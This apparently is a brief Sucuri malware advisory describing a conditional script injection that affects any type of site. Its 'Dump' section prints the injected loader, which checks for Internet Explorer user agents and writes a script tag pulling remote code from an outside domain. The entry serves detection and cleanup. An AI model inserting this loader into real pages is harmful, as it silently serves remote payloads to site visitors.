This malicious code is capable of injecting external code into the infected page. Displaying of the payload is conditional and based on the User Agent of the browser.
Affecting
Any type of site.
Cleanup
You can contact Sucuri to help you with the infection removal.
Dump
...typical code...
<script>if ((navigator.userAgent.match(/MSIE/i)) || (navigator.userAgent.match(/Trident/i))) {document.write("<scr"+"ipt type='text/javascript' src='http://domain-removed.fr/mp3/al.php'></scr"+"ipt>");}</script>